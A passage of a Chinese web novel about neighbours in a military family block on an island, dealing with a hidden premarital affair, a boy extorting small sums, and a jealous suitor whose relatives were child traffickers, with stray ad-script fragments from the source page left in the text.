王英看着他这斯斯文文的样子,料想不过二十出头,便问道:“周指导是你姐姐?” “大姐,你也老大不小了,要学着理智冷静的处理问题,要不然时间久了,大家都受不了你,你的孩子也会遭人嫌弃,何必呢。赶紧回去吃饭吧,我姐要睡觉了。”周子琛说完,扭头便走。 身后响起女人的细语柔声:“帮我跟周指导说声对不起,以后我会注意的。” 周子琛摆摆手,知道了。 王英注视着他的背影,直到他进去了,这才叹了口气,领着孩子回了客厅。 “李七海,管好你儿子,下次他再往走廊上逃,我连你一起骂!”王英很生气,今天丢人丢大发了。 这个倒霉孩子,一听要挨打就往外面躲,就想闹大了让邻居的叔叔阿姨们过来劝架。 蔫坏的。 不知道跟谁学的。 气得她只能怨怪男人教子无方。 李七海挠了挠后脑勺,走上前赔笑脸:“英子,你别生气,人都说外甥照舅,咱二蛋这么聪明,将来肯定跟大哥一样吃得开。” 这话王英爱听,她大哥确实有能耐。 气顺了,也就不打孩子了。 一场闹剧就此落下帷幕。 那些站在家门口想劝架的邻居也都回屋了。 刘敏杰去浴室冲澡,出来后跟厨房的曹景润夸道:“不愧是咱周姐的弟弟,嘴皮子就是利索。哎,阿润,要不我打听一下他结婚没有,要是没结婚,咱把你妹妹介绍给他?” “能行吗?你不是说他是个大学生吗?”曹景润觉得没戏,他妹妹才初中毕业。 刘敏杰想想也对,不禁叹了口气:“可惜了,你妹妹长得真是万里挑一的俊。” “别想了,她一门心思想找个煤老板过好日子呢,她的事用不着咱们操心。”曹景润不想多事。 他那个妹妹太强势了,还喜欢训他。 他只受得了刘敏杰管他,别人不行。 * 午休结束,周子琛扶着姐姐下楼。 到了楼下院子里,正好看到翻晒秋冬衣服的孙谦。 视线对上,孙谦愣住了。 忘了周子琛也会来岛上探亲了。 这下糟了,也不知道周子琰有没有把他的事情往外说。 他一时有些尴尬,硬着头皮打了声招呼。 周子琛客气的喊了声谦哥好,一路把他姐姐送到了部队门口才回来。 孙谦正在他姐家门口等着。 他跟孙谦没什么好说的,自顾自开了门进去,也不请孙谦进来。 可是孙谦脸皮老厚,还是进来了。 坐下后搓了搓手:“那个,我跟云朵——” “我不关心。我姐夫今天有事,我是来陪我姐姐的,其他的任何事我都不关心,听懂了吗?”周子琛并不是老古董。 别人婚前谈个恋爱没什么大不了的。 但他看不惯孙谦闹出人命来。 这事就是他评判一个人的道德红线,一旦越过,那这个人就一文不值了。 不管有多大的苦衷,日后有多大的成就,他都懒得多看一眼。 孙谦不在乎他的眼光,只要他的一句保证。 既然他都这么说了,孙谦也就放心了,起身沉默地离开。 不过周子琛还是多了句嘴:“你最好坦白从宽,积极认错,端正态度,要不然,以后闹到离婚,只能怪你自己。” 孙谦蹙眉,回头打量着这个校友。 真是怪了,怎么论调跟吴旭东一模一样的。 做了人家的小舅子,就这么同仇敌忾吗? 上大学的时候也没见他们两个交好啊。 算了,他惹不起这几个祖宗。 终究还是一言不发的出去了。 周子琛关上门,拉上窗帘,倒在沙发上看书看报,自得其乐。 下午三点多的时候,门外传来云朵的声音:“东姐夫在家吗?” 周子琛想了想,没有应答。 云朵以为没人在家,便往隔壁的隔壁走去。 “有人吗?我找周指导的爱人,知道他去哪儿了吗?” “回家了,晚上才回来,你找他有事?”这是孙谦的声音。 周子琛瞬间来了精神,从沙发上起身,走到窗口竖起耳朵。 还好他早就拉上了窗帘,也没人知道他在偷听。 云朵平静的说道:“我给他孩子送旧衣服来,不在家算了。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “要不你放我这儿吧,等他回来我帮你给他。”孙谦在客厅里招手,让云朵借机进来拿钱。 云朵没有拒绝,把衣服放下,一把抄起孙谦手里的钱,垫了口唾沫数了数。 五百块,一分不少。 她笑着说道:“那就谢谢你了,不知道你怎么称呼啊?” “我姓孙,叫我小孙就好。”孙谦肉疼,可是没办法,破财消灾,认了。 云朵把钱塞裤兜里,继续演戏。 “你看着比我大吧,叫你孙哥好了。” “也行,随意。你怎么称呼,我好跟周指导他们说一声。” “我叫云朵,谢谢啦孙哥,以后有什么事说一声,一个岛上的,互帮互助嘛。” “好嘞,有事肯定不跟你客气。” 两人一唱一和的,跟真的似的。 不明就里的还以为两人真的不认识呢。 周子琛都听乐了。 正准备回沙发上看书,后窗溜进来的风掀起了南边窗口的窗帘。 躲在楼梯那儿偷听的李二蛋正好往回走,不期然跟周子琛四目相对。 那一瞬间,李二蛋咧嘴笑了。 一点不见心虚。 那眼神好像在说:原来你也对孙叔叔和云朵阿姨的事情感兴趣啊。 周子琛蹙眉,指了指他家的方向,叫这小子赶紧走。 李二蛋做了个鬼脸,溜之大吉。 他从另一头的楼梯下去,追上了云朵。 学着上午的法子,又讹了五块钱。 回来的时候特地避开了周家门口,从西边的楼梯上来,免得被周阿姨的弟弟发现他的小把戏。 这次他不买东西了。 把钱藏在枕头套子里,留着等他妈妈下潜艇的时候再花。 到时候山中无老虎,就轮到他这只泼猴称霸王称霸了,嘿嘿嘿。 * 吴旭东四点多就赶回来了。 正好看到周子琛在炸厨房,赶紧拦住他:“你这是在做什么?” “我怕你赶不回来,想给我姐做晚饭啊。”周子琛好心帮忙,看到姐夫嫌弃的眼神,委屈上了。 吴旭东扶额:“我的祖宗,你快去看你的书去吧。” 真是服了,把个厨房造的呦! 吴旭东赶紧把人撵出去,卷起袖子系上围裙,辛苦他一个,幸福一大家。 周子琛有点伤心:“我好心帮忙……” “我谢谢啊。”吴旭东想揍人,这叫帮忙? 分明是添乱! 啧啧啧,青菜不放油,糊锅了。 蒸米饭不放水,烤爆米花呢。 还有这些调料,妈耶,全都打开了,跟摆杂货摊似的。 他捻起锅里难得没糊的一片青菜叶子尝了尝。 呸呸呸,甜的。 救命,谁跟周子琛结婚谁倒霉好吧。 吴旭东把东西全部倒了,又是拖地又是擦灶台,忙得不可开交。 惨遭嫌弃的周子琛气鼓鼓的,看着时间不早了,起身道:“我去接我姐,你忙你的。” 吴旭东赶紧放下拖把,原打算亲自去接,可是一看这狼狈的厨房,还是留了下来,提醒道:“小心啊,上楼梯的时候落后一个台阶,托着她的腰。” “哦。”周子琛真的郁闷,声音都闷闷的。 到了门口接到姐姐,忍不住告状:“你没看到我姐夫那个眼神,跟要吃了我似的,他平时也这样对你吗?” “没有啊,他很温柔的。”周子琰一听弟弟自作主张炸厨房去了,不禁心疼起自己男人来,下意识加快了脚步。 吓得周子琛赶紧扶着她:“慢点慢点,你们这栋楼有个熊孩子,就中午那个挨打的,蔫坏蔫坏的,你要是生了宝宝,让他离咱家宝宝远点。” “你说二蛋啊,是有点皮。”周子琰放慢速度上楼,再急也要注意安全。 周子琛严肃点头:“那小子之前说他捡了五块钱,搞不好是找孙谦讹的。” “哦,你有证据吗?” “今天下午……”周子琛看了眼身后跟来的女兵,止住了话茬,回到姐姐家关上门,这才一五一十的描述了一下。 周子琰恍然:“那还真有可能。子琛啊,等会你去把孙谦叫过来,我劝劝他。” 要是孙谦早点坦白从宽,那熊孩子就讹不到钱了。 周子琛知道自己姐姐想做什么,无奈道:“下午我劝过他了,不听。” “可是这么下去,他会助长李二蛋骗钱的恶习,到时候会害了楼里的其他孩子。”周子琰本来真没打算多事。 毕竟这种事,不管怎么做都会得罪人。 如果继续瞒着,相当于帮着孙谦骗冯薇。 可如果告诉冯薇之后,冯薇自己不在乎呢,那孙谦又会怨恨他们多事。 真的里外不是人。 然而,李二蛋再这么骗下去的话,这个楼里就要养出一个混世魔王了。 他们大人损失点钱倒是无所谓,可是楼里的孩子们呢? 李二蛋都八岁了,连大人都要让着他,那他欺负小孩子简直不费吹灰之力。 放任恶的种子发芽长大,本身就是一种恶。 她必须管管了。 于是孙谦刚吃完饭,就被周子琛请了过来。 这边吴旭东还在忙碌,炒菜的声音正好可以给他们的说话声打掩护。 周子琰让弟弟关上门,拉上窗帘,严肃地看着孙谦。 不过还没开口,孙谦就送上来一摞孩子的旧衣服。 周子琰看不上,但还是收下了。 人家送了就是好意,不收不合适。 其实她自己大哥家有孩子,南南姐家也有孩子,不缺衣服。 所以周子琰只打算留一件。 不过,她准备亲自还给云朵,就不假孙谦之手了。 放下这些旧衣服,她眯眼打量着孙谦:“你和冯薇准备什么时候要孩子?” “刚打了申请,已经批了,快的话入秋之前可以怀上。”孙谦不是傻子,看得出来周子琰不是想说这个。 但他只能沉住气,等周子琰开口。 周子琰正色道:“那你想过没有,明年也许你就当爸爸了,后年你的孩子就会走路了。到时候,你想让李二蛋欺负到你孩子头上吗?” 孙谦显然考虑过这个问题,只是暂时没想到合理的解决办法。 他陷入了漫长的沉默,最终还是起身,准备离开:“我自己的事,我会处理的,不用你们操心。” 周子琰恼了,不客气地怒喝一声:“站住!” 66. 情敌 周子琰是个说一不二的人。 既然决定了插手,那就不可能让孙谦敷衍下去。 孙谦自然听得出来她态度的强硬。 这女人级别比他老婆高,有跟他嚣张的资本。 万一她铁了心张扬出去,反倒是让他难堪。 犹豫片刻,还是回来坐下了:“你到底想怎么样?宁拆十座桥不毁一桩婚,周指导,你别太过分。” 周子琰可没想破坏他们的婚姻,她只要孙谦一句话:“你铁了心想瞒下去?” “对,那是我的事,你根本没资格插手。”孙谦把话说得很难听,完全忘了他之前是怎么请求他们帮忙隐瞒的。 周子琰冷眼打量着他,提出了一个要求:“那就管好李二蛋。我不管你用什么办法,要是让我知道他还在骗钱,我会直接找你老婆把事情说开。” “行,这事我来处理。不过他要是骗别人的钱你可不能赖我,你也不能去找我老婆。”孙谦又不傻,那李二蛋一看就是个骗人的老手了。 他能做的很少,只能保证李二蛋不再从他这里骗钱。 周子琰毕竟还怀着身孕,不能为这事太过动怒。 要不然出点什么岔子算谁的。 话说到这个份上,也只能给孙谦一点时间。 孙谦走后,周子琛嘀咕道:“这个孙谦真是无可救药。姐你别跟他一般见识,依我看,他早晚会露出马脚,到时候闹起来可就怨不得别人了。” 周子琰尽力了,拿起筷子往他碗里夹菜:“不说他了,吃饭,吃完早点回去。” 好在现在是夏天,要到七点左右天才完全黑透。 吃完周子琛还想帮忙洗碗,叫吴旭东直接撵出了厨房:“陪你姐说说话,别烦。” 被嫌弃的周子琛撇撇嘴,转身拎起了垃圾,下楼去了。 这下找不到他的毛病了吧? 扔个垃圾他还是会的。 刚到楼梯口,便看到了精神奕奕的云朵,端着一碗什么汤。 还装不认识他,就这么擦肩而过。 周子琛乐了,等着瞧吧,孙谦的好日子快结束了。 别人不是傻子,早晚会看出来的。 扔完垃圾回来,云朵已经从别的楼梯走了,留下一碗猪脚汤给他姐姐。 小孩子的旧衣服也带走了,只留了一件。 周子琛忍不住挖苦道:“她这么费尽心思追到岛上来,我就不信她会让孙谦好过。姐,今后他们的事你别管了,自作孽不可活,你没有义务拯救他们的婚姻。” “嗯。”周子琰自然想跟云朵拉开距离,不过伸手不打笑脸客,有些事情,场面上还是要维持一下社交礼仪。 * 冯薇是个爱美的女人。 部队的女兵一般没空化妆打扮,但是晚上回来,她会满足一下自己的小女生心思。 正坐在镜子前描眉画鬓,孙谦扔完垃圾回来了。 她随口闲聊道:“我还得忙一会儿,你要是无聊,就去找你同学玩玩。” 孙谦拒绝:“不去,就在家里陪你。” “你工作的事怎么样了?”冯薇无所谓的收回视线,继续盯着镜子里的自己,慢慢欣赏。 孙谦拿了换洗衣服去冲澡:“已经跟何东升搭上线了,他愿意带我一起做生意,这样你怀孕之后,我能有空照顾你。” “你真辞职了?”冯薇有些意外。 其实孙谦分的单位还可以,在邻市的一个厂里做技术员。 为了随军,他请了长假。 这段时间一直在考察自己能做什么。 他进了卫生间,扬声道:“辞职了,我找家里凑了点钱做买卖。你没看吴旭东毕业两年都成大老板了吗?他那个臭脾气都能做起来,我为什么做不起来?放心吧,我会让你和孩子过好日子的。” 冯薇放心了,她男人真好,身家清白,成绩优秀,认识她之前都没有谈过恋爱。 果然是个象牙塔出来的大学生,纯洁得让人心疼。 思来想去,她放下手里的化妆笔,起身去浴室帮忙:“我给你搓澡吧。” “你不是刚洗完澡?衣服湿了怎么办?”孙谦有些意外。 他老婆其实身材不太好,太平,不够凹凸有致,但是脸模样还不错。 瓜子脸小巧可爱,眼泛秋波,勾人得很,声音里带着腻歪的甜。 像是吹糖人吹出来的糖丝儿,丝丝缕缕,将他俘获。 以至于他心口不一,话音刚落就把人拽了进来。 冯薇笑着勾住他的脖子:“衣服湿了就湿了,反正你洗。” “那当然,我可舍不得让我家冯主任吃苦。”孙谦笑着关上门,在浴室里腻歪腻歪。 事后,孙谦抱着冯薇出来,回到卧室,自然又是一阵颠倒混乱。 连着两次,孙谦有点吃不消,缓了好一会儿才起床冲了冲,熄灯睡觉。 黑暗中,他抚摸着冯薇的肚子。 明天他会好好敲打一下李二蛋,要是那小子听不进去,那就先哄着。 等到冯薇怀了孕再坦白不迟,到时候看在孩子的面上,冯薇应该不会闹离婚的。 咱们国家的女人都这样,为了孩子,为了孩子有个爸爸,会不断的妥协,丧失底线,委曲求全。 再说了,只是婚前谈了个恋爱而已,又不是杀人放火了。 他不信冯薇真的会为了那些无关紧要的小事跟他离婚。 当然,还是有个孩子才保险。 第二天他在楼下晾衣服,一个年轻的小伙子风风火火的冲了进来,问道:“你好,周指导家住哪里?” 孙谦指了指中间的楼梯:“二楼楼梯东边。” 冒长城高兴坏了,说了声谢谢,拿着手里的通知书一头扎进了楼梯间。 二楼走廊上很快传来兴奋的说话声:“姐夫,我考上啦!我考上啦!多亏你劝我不要放弃,也多亏你教我的那些方法,你简直就是我的再生父母!我可以抱抱你吗?” “不可以。” “好吧。” “哪个学校?” “西南的那所。” “可以啊长城,暑假好好玩玩,放松放松。” “我帮你干活儿!” “不用,我自己可以。” “你就让我做点什么吧,不然我心里不踏实。” “那你去帮我浇花吧。” “好啊,浇多少水?” “用喷壶,一点点就行,别给我把花淹死了。” “好嘞。” 两人有说有笑的,熟稔得像是自家兄弟。 孙谦莫名有些羡慕。 晾完衣服提着水桶上楼,刚到楼梯转角,便看到了蹲守在那里的李二蛋。 孙谦脸色一黑,只当没看见,继续上楼。 李二蛋一把扯住他的裤腿:“孙叔叔,我饿了。” “你想干什么?” “我想吃烤鸡。” “没有。” “那我找冯阿姨要。” “你敢!” “那你给我做嘛。” 孙谦闭上眼,忍了又忍,道:“好,中午做好了我给你送过去。” “别啊,我妈不准我吃别人的家的东西,你做好了偷偷给我留两个鸡腿就行,下午我来找你要。”李二蛋还挺狡猾,知道避开他妈妈的眼线。 孙谦无奈:“行,下午你来我家。” 正好收拾收拾这个混账东西。 讹他上瘾了! 难怪李七海条件不好,却把孩子养得这么敦实。 脖子都快赶上脑袋粗了。 不怪周子琰担心这个孩子会继续骗下去。 看人真准。 只是,周子琰教训人的口吻还是让他不舒服,所以他昨晚敌对的情绪严重。 现在想想,其实人家没有恶意,只是不想助长李二蛋的嚣张气焰。 要不然今后楼里肯定不得安生。 说来说去,还是怪云朵,好死不死的非要追到海岛来。 气死他了。 好在他老婆爱化妆,家里化妆品很全。 实在不行,他就在身上化点伤口吓唬吓唬李二蛋好了。 中午吃饭,他特地把两个鸡腿盛了出来。 冯薇不高兴:“鸡腿不给我吃?” “留着给何东升的,人家带我做生意,我不得表示表示嘛。”孙谦撒谎的技术一流,脸都不红。 冯薇想想也是,催促道:“那你快送去吧。” “他这会儿不在家,下午再送。”孙谦把鸡腿放冰箱里。 冯薇没有多想。 午休完回部队的时候,却正好遇到了准备出岛的何东升。 不禁好奇,问了一嘴:“我家孙谦不是说你中午不在吗?” “没有啊,我在的。”何东升又不知道孙谦的那些小心思,自然有什么说什么。 冯薇蹙眉,难道是他偷偷留着自己吃的? 这个狗男人! 她赶时间,没有再问。 晚上回去再找孙谦算账。 下午两点,李二蛋鬼鬼祟祟的跑到孙谦家里要鸡腿。 孙谦关上门,拉上窗帘,跟他好好谈谈人生。 李二蛋从他家出来的时候,满脸都是泪水。 吴旭东正在楼下翻晒秋冬的衣服,上楼的时候看到李二蛋这个样子,好奇问了一嘴。 李二蛋哭道:“孙叔叔好可怜,冯阿姨好残忍,呜呜呜。” 吴旭东一头雾水,去孙谦家里看了眼。 不禁愣住了。 掩上门,他看着正在卸妆的孙谦,皱眉道:“你吓唬小孩子?” “我可没有打他骂他,只是装装可怜,让他别再找我讹钱讹东西了。”孙谦理直气壮。 他一没动手,二没伤害李二蛋,只是在身上化了些伤口,说家里少了钱,冯阿姨生气打他了。 吴旭东头疼:“你就不怕败坏你老婆的名声吗?” “我跟二蛋说好了,他不会乱说的。”孙谦没觉得这有什么不好的,只要李二蛋可以消停一阵子就好。 没想到,晚上云朵给周子琰送红烧肉的时候,李二蛋把她拦在了楼梯口。 委屈巴巴的哭道:“孙叔叔太可怜了,以后我想吃什么就找云朵阿姨吧。” 云朵半信半疑,思来想去,她拽着李二蛋去了院子里的仓库,四下无人,小声道:“具体怎么回事,你跟我好好说说。” 李二蛋眼睛直勾勾的盯着她碗里的肉,她便拿起一块,塞他嘴里:“只要你说实话,这些都给你吃。” 李二蛋心满意足,添油加醋的把孙谦身上的伤口描述了一番。 气得云朵当场就想去找冯薇吵架。 可是她用什么身份? 她现在跟孙谦是陌生人啊。 只能叹气:“好孩子,你帮我盯着点,要是下次冯阿姨再打孙叔叔,你就冲进去,说你找孙叔叔有事,这样孙叔叔就会少挨些打了。” “那你还会给我吃肉吗?” “会。” “云朵阿姨真好。” 云朵回到家里,胡鹏飞问她: (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “见到周指导了?” 云朵只得撒谎:“嗯,她很喜欢吃我做的红烧肉,我明天还给她送。” “好是好,可是也别去太勤了,免得别人议论咱们巴结周指导。”胡鹏飞虽然不反对云朵去跟周子琰他们来往,但是也要注意影响。 云朵笑笑:“放心吧,她是孕妇,情况特殊。” “那倒也是。”胡鹏飞叮嘱道,“总之,等她生完出了月子就别天天去了,隔开些,对大家都好。” “好。” * 吴巷北跟汤丰登在酒店办婚宴。 汤正阳忙进忙出的,像个老妈子。 汤家的亲眷都来了,罗素湘眼含热泪,拉住汤正阳的手,说不出的感谢和感动。 “孩子,你自己怎么办啊?”罗素湘还不知道他已经有女朋友了。 她妹妹罗素漪不是多嘴的人,总觉得正阳跟安小蕾的事情还没有板上钉钉,所以没跟她说。 汤正阳便指了指女方那边的亲眷:“看到那边的安小蕾了吗?今年正月你们不是见过了吗?不出意外的话,明年这时候她已经是你儿媳妇了。” “真的?”罗素湘破涕为笑,那可太好了。 吃饭的时候,她忍不住对着女方那边看了又看。 安小蕾察觉到她的目光,客气的笑了笑。 罗素湘忍不住跟她男人嘀咕:“汇德,我能不能坐到那边去,跟小安说说话?” “别啊,太唐突了,等酒席结束,正阳会带她来跟咱们打招呼的。”汤汇德有些意外。 没想到安小蕾能看上正阳这小子。 两人的学历差距也太大了。 他有些担心,忍不住叹了口气:“就怕正阳空欢喜一场啊。” 罗素湘也有些发愁:“那要不……要不咱跟儿子们说说,凑点钱给正阳买套房子?” 汤汇德摇头:“咱这几个儿子只有丰登能赚大钱,可即便是丰登拿了课题组的奖金,也不过才几万块钱,怎么拿得出手啊。” “那总比什么表示都没有的好啊。”罗素湘是真的心疼这个捡来的儿子。 家里的儿子们都结婚了,就剩他一个了。 再拖下去,要孩子都会困难重重。 谁也对抗不了岁月的魔力。 汤汇德想想:“不如这样,我也去跑药材,咱们全家凑个二十万给正阳结婚,起码让女方父母看到咱们的诚意。” “你能行吗?”罗素湘没有信心,她这个男人虽然心地善良,但是嘴笨。 压根不是做买卖的材料。 汤汇德也没有信心,不过总要试试的。 便安慰道:“怎么不行了?我不会学吗?药材我都认识,好的坏的,真的假的,都逃不过我这双眼睛。” “行,你试试。”罗素湘没空出来做买卖,她还要帮着照看孙子孙女呢。 正说着话,一个戴着金丝边眼镜,穿着黑色西装,打着白色领带的男人进来了。 环视一圈,直奔安小蕾那边。 “你好,我可以坐这里吗?”男人礼貌的问道。 安小蕾蹙眉:“你是?” “我叫商春深,麻省留学回来的,博士学位。”商春深笑着看拉开旁边的椅子。 反正没人,他坐着应该没什么。 安小蕾听说过这个人:“你是我大舅朋友家的孩子。不过我们好像没有邀请你吧?” “是我。”商春深忽略了她的问题,直接坐下,掏出一张名片,“听说你今天回来,我特地请假过来。我很想跟你交个朋友,聊聊学问也是好的,可以吗?” 安小蕾不好让大舅难做,收下名片,道:“你学的是什么专业?” “计算机。” “那咱们估计没多少可聊的。” “不见得,很多学科是互通的。” “我对计算机不感兴趣。” “我可以帮你建立兴趣。” “不用,我倒是知道一个感兴趣的人。”安小蕾站了起来,对着男方的亲眷招了招手。 吴旭东正两头跑,一会儿帮女方这边添补筷子,一会儿去男方那边摆酒摆碗。 这会儿二姨姐找他,赶紧放下手里的活儿,跑到女方这边:“是不是子琰不舒服?” 安小蕾看了眼身边一脸看戏的妹妹,无奈道:“子琰说你想开个科技公司,正好,大舅朋友家的儿子是学这个的,我介绍你们认识。” “哦,好。”吴旭东转身打量着这个男人。 五官优越,唯一的缺点是眼睛有点小。 细长的眼睛眯起来,心灵的窗户似乎不太想打开。 像个通风没做好的边缘户型。 不过吴旭东是个做生意的,场面上不会失了分寸,便笑着伸手:“你好,很高兴认识你,我叫——” “不好意思,我目前有工作,不打算辞职开公司,你另请高明吧。”商春深并没见过吴旭东,更不知道他是安小蕾的妹夫。 下意识便拒绝了。 粗鲁的打断,让安小蕾心生不满。 冷笑道:“行,你连我妹夫的忙都不愿意帮,那就别浪费我时间了,这里是别人的位置,请你让开。” 什么? 商春深很是意外。 他打量着面前这个帅气的男人,斯斯文文的,像是读过书的。 赶紧弥补,起身道:“不如我们去旁边谈谈?” 吴旭东从他前倨后恭的态度判断出来,这人大概是安小蕾的追求者。 本着为大哥赶跑情敌的原则,他应下了:“请。” 67. 仇家(二更) 商春深为了给安小蕾面子,爽快的起身了。 两人去门外私聊。 “说实在的,真没看出来你居然是安小蕾的妹夫,我还以为你是服务员。”倨傲的男人递了根烟过来。 吴旭东没要:“不抽,谢谢。” “你真想开科技公司?” “有这个打算。” “注册资本多少?小打小闹的可开不起来。”商春深非常自负,他看着面前的年轻人,很是怀疑对方的实力。 “五十到一百万之间吧。”吴旭东估测了一下目前自己能拿出来的钱,并没有虚张声势。 不过这话还是让傲气十足的商春深惊讶万分。 他点上烟,眯眼打量着吴旭东:“你竟然这么有钱?长辈给的?” “自己赚的。” “真看不出来,是我眼拙了。” 吴旭东眯眼打量着这人,似曾相识的感觉,让他很不舒服,但他还是维持了体面:“是不是觉得我穿得老土,不像是个大老板?” “有点儿。” “没事,等我蕾蕾姐结婚的时候,我会穿得帅气一点,免得你再看走眼。” “你说什么?她要结婚了?”商春深非常意外,“没听说啊,哪个混账小子这么走运?” “难道你没看到她左手那枚钻戒?” “我以为她只是戴着玩玩,你要知道,我在美国,看到有人十个指头都戴戒指。她爸妈也有钱,不会买不起。” “她自己有钱。”吴旭东严肃澄清,“你现在是在中国,没有几个女人会闲得无聊给自己买钻戒戴。” “对方是谁?”商春深显然非常伤心,眼中的神采暗淡了下去。 吴旭东拿走他嘴上的烟,碾灭后扔进酒店门口的垃圾桶:“到时候你就知道了。” “烟都不让我抽?”商春深很郁闷。 吴旭东面无表情的看着他:“你能找到这里来,说明了解她的家庭情况,那你应该知道她妹妹怀孕了,我是他妹夫,你居然在我面前抽烟,你想给她留下一个没有素质的印象?” “……”商春深沉默了很久,只得说道,“那我不进去了,你身上的烟味,找个理由解释一下。” “放心,只要你下次注意点,我不会出卖你的。”吴旭东委婉的下达了逐客令,“婚宴要开始了,你不如回去换一身衣服再来?他们全家都不抽烟。” “知道了。”商春深叹了口气,低头看看手表,从西装口袋里拿出一个红包,“我随的礼钱,帮我跟她说一声。” “没问题。” “科技公司我不感兴趣,你另请高明吧。”商春深甚至不想给礼钱了,反正安小蕾要结婚了,准新郎不是他。 不过他这个人要面子,来都来了,给都给了,算了。 吴旭东也没打算跟他来往,客气道:“我送你?” “不用。”商春深临走时看了眼酒店入口的方向,带着遗憾和不甘。 回到家,立马闹着让他爸妈调查,到底是谁入了安小蕾的眼:“我倒不信,会有人比我学历还高!” 他爸爸商惊雷是个六十来岁的工程师。 长得斯斯文文的,细长狭窄的眼镜,跟商春深如出一辙。 他已经知道了安小蕾的情况,今天怂恿自己儿子过去,也是觉得汤正阳配不上安小蕾。 现在儿子吃了瘪回来,当然要安慰一二。 问清楚在酒店发生的事情后,商惊雷责怪道:“你这孩子,太傻!订婚而已,又不是结婚了!她妹夫要办科技公司,这不是天赐良机吗?你怎么给拒绝了呢?” “就怕她已经跟那个男人……”商春深虽然出国留学,但骨子里还是传统的观念,认为婚前跟别的男人亲热过的女人都不是好东西。 商惊雷冷下脸来:“别胡说,她家爸妈教育严格,不可能允许她乱来的。你还有机会。” “那我试试。”商春深振作起来,换了身衣服,准备赶过去。 没想到刚出家门口,来了个亲戚。 他打量着这个苦大仇深的女人,惊觉两人的五官居然有些相似。 不禁好奇:“你谁啊?” 女人见他不认识自己,很是尴尬,只得看向屋里的男人:“哥,这是我哪个侄子?” 商惊雷很多年没见过这个妹子了,招招手,把小儿子叫了回来:“这是老幺,春深啊,给你小姑泡杯茶去。” 原来是他那个私奔的小姑。 不是跟家里断联了吗? 怎么有脸回来的。 商春深明显不喜欢这个小姑,眼神中的嫌弃不加掩饰。 泡了茶,商春深准备走,商惊鸿讪讪道:“大哥,春深是不是讨厌我啊?” 商春深想说是啊,就是讨厌你,败坏家风的女人。 不过没等他开口,他爸便说道:“没有的事,他是因为心上人跟别人订婚了,拿长辈撒气呢。” 商春深猛地回头,不满地盯着自己爸爸。 商惊雷招招手,让他坐下。 他不理解,这种小姑有什么好招待的,不情不愿的回到客厅,坐在沙发上闷声不响。 商惊鸿讪讪的,握住杯子,不知道怎么开口。 尤其是侄子的敌对情绪这么强烈,她要是开口借钱,只怕要挨呲儿。 只得坐立难安的说了些家常话,随即起身离去。 商惊雷象征性的挽留了一下,问道:“我那外甥如今在哪儿高就啊,让他有空回来找春深玩玩。” “大哥,他……他被抓了。”商惊鸿说到这里,眼泪唰的一下涌了出来。 苦难在她脸上留下了沟沟壑壑。 两道深长的法令纹,像是诉说她在婚姻里遭遇的不幸。 商惊雷有些意外:“哦?好端端的,怎么被抓了?” “不学好,跟他老子一样。”商惊鸿没脸说。 商惊雷明白了:“他也当人贩子去了?这不是顶风作案吗?这几年不少地方都成立了打拐专案组,你真是教子无方啊。” “我能怎么办?为了捞他出来,我把家里的房子也卖了,结果遇上了骗子,给我的全是假.钞。现在我的房子被那人转卖出去了,我也找不到那人,只能来找大哥——”商惊鸿哭哭啼啼的,眼看着就要开口借钱了。 商惊雷赶紧催促道:“春深啊,快,婚宴要开始了,你愣着干什么,快去,顺便带你小姑去火车站,免得她还要坐公交车。” 商春深终于明白他老子留他在家的作用了。 他成了个堵嘴的工具人。 真聪明。 他得跟他爸爸学着点。 便赶紧送走这尊瘟神。 路上商惊鸿几次想开口问侄子借钱,都被商春深用各种借口岔开了。 后来他干脆背起了法律条文,一个劲的劝说商惊鸿,要让表弟积极认错,端正态度,重新做人。 把他小姑送到车站后,商春深可算是松了口气。 看看时间,酒席早就开始了,现在过去只会煞风景,算了。 还是找几个朋友,问问他们有没有意愿去办一个科技公司。 这样也有借口接触吴旭东,进一步掌握安小蕾的情况。 不得不说,虽然他学历高,但是情商这块,远不如他老子。 他先回了趟家里:“爸,知不知道安小蕾的未婚夫是谁,我也好有的放矢啊。” “是个文化程度不高的药商。”商惊雷自然是找安一方打听 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 过了。 也正是因为汤正阳学历不高,所以他不甘心,一听说这次结婚的居然是汤正阳养父母家的弟弟和他亲妹妹,说什么也要通知自己儿子回来争取一下。 没想到这小子这么没脑子。 商春深不理解:“学历很低?那她怎么可能看得上他?” “长得帅吧,也有钱。”商惊雷想不到其他的理由了。 商春深很郁闷:“我不帅吗?” “比起那小子,还是差了点。”商惊雷看过安一方手里的照片。 要不是脸上有伤,会比现在更加招女人喜欢。 商春深刚刚去了酒席,满脑子都是安小蕾,只注意到了吴旭东比他帅。 他不服气,问道:“到底叫什么?他今天应该会陪安小蕾一起过来吧,我去会会他。” “吴旭东的亲大哥汤正阳。” “……怪不得他那么积极,要撵我走。” “你还去吗?” “不去了,我找同学去。” “你小心点,要是跟吴旭东合作,尽量别提你小姑的事情。” “怎么?” “你刚从国外回来还不了解情况。这兄弟俩,一个是被拐卖的,一个是被人打晕扔下悬崖的,搞不好也跟人贩子有关。” “明白了,他们恨人贩子。” “你小姑父和表弟都是人贩子,要是让他们知道了,只怕要恨屋及乌。” “那我不怕,咱家又没有人贩子。再说我小姑当初私奔,都跟家里决裂了,就算迁怒也不该迁怒到咱们身上。” “你不懂!”商惊雷急了,思来想去,还是隐晦地提醒道,“早些年,你小姑跟吴国正一前一后去了农村接受改造,做过一段时间的邻居。我虽然不清楚是谁拐卖了吴旭东,可万一是你小姑父呢?那个畜生,我一看就知道是个祸害,所以千方百计的拦着你小姑,不让他们结婚。谁想到你小姑不惜私奔……这些年我心里很不安,现在她儿子不学好进去了,这下更让我担心了。所以你千万不能提你小姑的事情,一句话都不要提。” “知道了爸。”商春深陷入了沉默。 原来他小姑一家这么龌龊。 不怪他爸爸不想借钱,这跟帮助人贩子有什么区别? 他有些好奇:“那她男人呢?也坐牢去了?” 